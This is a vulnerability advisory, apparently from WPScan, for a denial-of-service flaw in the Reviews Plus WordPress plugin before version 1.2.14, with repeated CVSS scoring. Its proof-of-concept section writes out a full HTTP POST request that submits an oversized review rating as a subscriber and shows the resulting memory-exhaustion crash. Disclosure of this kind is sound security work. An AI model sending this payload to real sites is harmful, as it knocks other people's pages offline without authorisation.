Lucene search

K
wpvulndbDrew JonesWPVDB-ID:79BB5ACB-EA56-41A9-83A1-28A181AE41E2
HistoryOct 25, 2021 - 12:00 a.m.

Reviews Plus < 1.2.14 - Subscriber+ Reviews DoS

2021-10-2500:00:00
Drew Jones
wpscan.com
10

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:N/I:N/A:P

The plugin does not validate the submitted rating, allowing submission of long integer, causing a Denial of Service in the review section when an authenticated user submit such rating and the reviews are set to be displayed on the post/page

PoC

Enable reviews for post/pages, and enable the “Show Reviews on” setting for All posts or pages as well. Then log in as a user such as subscriber and submit a review with a long rating, e.g POST /wp-comments-post.php HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 181 Connection: close Cookie: [subscriber+] Upgrade-Insecure-Requests: 1 comment_type=ic_rev_post&review;_type=ic_rev_post&ic;_review_rating=100000000000000000000000&ic;_review_title=aa&comment;=cerh&submit;=Submit+Review&comment;_post_ID=2123&comment;_parent=0 The review section of the post/page will crash with an error like “Allowed memory size of 268435456 bytes exhausted (tried to allocate 249561152 bytes) in /var/www/wp-content/plugins/reviews-plus/functions/functions.php on line 76” when viewed

CPENameOperatorVersion
reviews-pluslt1.2.14

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:N/I:N/A:P

Related for WPVDB-ID:79BB5ACB-EA56-41A9-83A1-28A181AE41E2